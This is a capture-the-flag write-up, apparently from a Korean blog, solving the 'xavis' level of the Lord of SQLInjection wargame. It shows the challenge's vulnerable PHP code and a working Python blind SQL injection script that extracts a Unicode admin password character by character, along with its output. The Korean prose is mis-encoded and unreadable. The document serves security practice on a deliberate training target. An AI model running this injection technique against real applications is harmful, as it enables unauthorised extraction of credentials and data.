1. Code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");
highlight_file(__FILE__);
?>
2. Condition
- regex like ๋ฑ์ ํํฐ๋ง ํ๋ค.
- ์ ํํ admin pw ๊ฐ์ ์์์ผ ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋๋ค.
3. Solution
๊ฒ๋ณด๊ธฐ์ ๊ต์ฅํ ๊ฐ๋จํ blind-sqlinjection ๋ฌธ์ ์ด๋ค.
ํ์ง๋ง, ํด๊ฒฐํ๋๋ฐ ๊ต์ฅํ ์๊ฐ์ด ๋ง์ด ๊ฑธ๋ฆฐ ๋ฌธ์ ์๋ค.
๊ฒฐ๋ก ๋ถํฐ ๋งํ์๋ฉด ์ต์ข pw๋ ์ ๋์ฝ๋์ด๋ค.
ascii ํจ์๊ฐ ๋จนํ์ง ์๊ณ , ํ์ค ascii ์ฝ๋(ascii printable characters)์ ์ผ์นํ๋ ๋ฌธ์๋ฅผ ์ฐพ์ ์๋ ์์๋ค.
๋๋ฌธ์ ํ๊ธ๋ก ๋ pw์ด์ง ์์๊น ํ๋ ๊ฐ์ ํ๋๋ก ๋ฌธ์ ํ์ด๋ฅผ ์ด์ด๊ฐ๋ค.
๊ทธ๋ฆฌํ์ฌ BMP(Basic Multilingual Plane)๋ถ๋ถ์ ํ์ํด ๋ณด์๋ค.
๋ณธ๊ฒฉ์ ์ผ๋ก ๋ค์ด๊ฐ๊ธฐ ์ ์, ascii ํจ์๋ก๋ ์ ๋์ฝ๋๋ฅผ ๋ณํํ ์ ์์ผ๋ฏ๋ก, ord ํจ์๋ฅผ ์ด์ฉํ์์์ ์์์ผ ํ๋ค.
๋์ ๋ฒ์๋ฅผ ํ๋ํ๋ ํ์ธํ๊ธฐ์ ์๊ฐ์ด ์์ผ๋ฏ๋ก ํฌ๊ฒ 0x100์ฉ ๋๋์ด ๋์๋น๊ต๋ฅผ ํตํด ๋ฒ์๋ฅผ ์ค์ฌ๊ฐ๋ค.
for i in range(20):
for j in range(0x00, 0x10000, 0x100):
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?\
pw=1234' or id='admin' and ord(substr(pw,%d,1))<%d %%23" % (i+1, j)
res = requests.get(url, cookies=cookie)
if "Hello admin" in res.text:
range_st = j - 0x100
range_fin = j
print("pw(%d) in %s ~ %s" % (i+1, hex(range_st), hex(range_fin)))
break
๋ฒ์๊ฐ ์ถ๋ ค์ก๋ค ๊ฐ์ ํ๊ณ pw๊ฐ์ ์ฐพ์๋ด๋ ์ฝ๋๋ฅผ ์ถ๊ฐํ์ฌ ํ๊ธ์ ํ๊ธ์ ์ฐพ์์ฃผ์๋ค.
์ต์ข ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
import requests
cookie = {'PHPSESSID' : '~~~~'}
fin_flag = False
pw_value = ""
for i in range(20):
for j in range(0x00, 0x10000, 0x100):
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?\
pw=1234' or id='admin' and ord(substr(pw,%d,1))<%d %%23" % (i+1, j)
res = requests.get(url, cookies=cookie)
if "Hello admin" in res.text:
range_st = j - 0x100
range_fin = j
print("pw(%d) in %s ~ %s" % (i+1, hex(range_st), hex(range_fin)))
break
for j in range(range_st, range_fin+1):
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?\
pw=1234' or id='admin' and ord(substr(pw,%d,1))=%d %%23" % (i+1, j)
res = requests.get(url, cookies=cookie)
if "Hello admin" in res.text:
if (j==0):
print("done!")
fin_flag = True
break
pw_value += chr(j)
print("pw(%d) : %s" % (i+1, pw_value))
break
if(fin_flag):
break
print("pw :", pw_value)
์ฝ๋๋ฅผ ๋ณด๋ฉด ์๊ฒ ์ง๋ง, ๊ธธ์ด๋ฅผ ๋ฐ๋ก ๊ตฌํ์ง ์๊ณ , ํด๋น BMP๋ฒ์์ ์์ผ๋ฉด ์ข ๋ฃ์ํค๊ฒ ๋ง๋ค์๋ค.
_๊ฐ ํํฐ๋ง๋์ด, char_length์ ๊ฐ์ ํจ์๋ฅผ ์ธ ์๋ ์์ ๋ฟ๋๋ฌ
char_length : ๊ธ์์ ์๋ฅผ ๊ตฌํด์ค๋ค.
ํ๊ฒฝ์ ๋ฐ๋ผ ํ๊ธ์ด 3bytes์ผ์๋ 4byte์ผ์๋ ์๊ธฐ ๋๋ฌธ์ด์๋ค.
์ ํํ์ง ์์ ๋ฐฉ๋ฒ์ด๋ ๋น์ ์ฌ๋ฌ ๋ฐฉ๋ฒ์ ์๋ํ๋ ๋ด ์ ์ฅ์์ ์ด๊ฒ ์ต์ ์ด์๋ค.
๋คํํ๋ ํด๋น ์คํฌ๋ฆฝํธ๋ฅผ ์ค์์์ผฐ์ ๋ ์์ํ๊ฐ์ด ๋์์ฃผ์๋ค.
pw(1) in 0xc600 ~ 0xc700
pw(1) : ์ฐ
pw(2) in 0xc600 ~ 0xc700
pw(2) : ์ฐ์
pw(3) in 0xad00 ~ 0xae00
pw(3) : ์ฐ์๊ตณ
pw(4) in 0x0 ~ 0x100
done!
pw : ์ฐ์๊ตณ
์ ๋์ฝ๋์์ ์ถ์ธกํ ์ ์๋ ๋์ ์์ผ๋ง ์๋ค๋ฉด ์ถฉ๋ถํ ๋์ ํด๋ณผ๋งํ ๋ฌธ์ ์๋ค.
๊ฒฐ๊ณผ์ ์ผ๋ก ๊ตฌํ pw๊ฐ์ ์ ๋ ฅํ๋ฉด ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋๋ค.
'wargame ๐ดโโ ๏ธ write-up > Lord of SQLInjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
dragon (0) | 2023.08.03 |
---|---|
nightmare (0) | 2023.08.03 |
zombie_assasin (0) | 2023.08.03 |
succubus (0) | 2023.08.01 |